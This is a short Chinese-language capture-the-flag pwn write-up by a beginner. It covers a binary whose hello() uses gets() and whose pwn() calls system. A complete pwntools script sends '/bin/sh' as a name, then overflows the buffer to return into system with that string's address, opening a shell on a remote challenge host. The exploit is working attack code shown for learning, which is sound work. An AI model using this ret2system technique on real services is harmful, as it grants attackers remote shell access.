感觉这道题一拿到手就感觉蛮神奇的,扔到ida里也是一头雾水:
函数也是一堆,让我们康康hello()和pwn()(暗示啊啊啊啊啊啊啊)
但是hello函数里没用的东西一堆,我一开始还被误导了,真正有用的是最后存在一个gets()危险函数
pwn这个函数就有意思了,有system但是他并没有执行cat flag什么的:
后来实在解决不出来了,看了一下网上大师傅们关于此题的WP(我太菜了QwQ),原来是将/bin/sh赋值到第一个字符串变量里,然后我们就可以伪造shellcode了!(太神奇了!叹为观止QwQ)
from pwn import *
r=remote("111.200.241.243",58396)
r.recvuntil("please tell me your name")
r.sendline("/bin/sh")
//0x8048420是system函数的地址
//0x0804A080是name这个变量的地址(其实就是/bin/sh)
payload = b'a'*0x26 + b'a'*4 + p32(0x8048420) + p32(0) + p32(0x0804A080)
r.recvuntil("hello,you can leave some message here:")
r.sendline(payload)
r.interactive()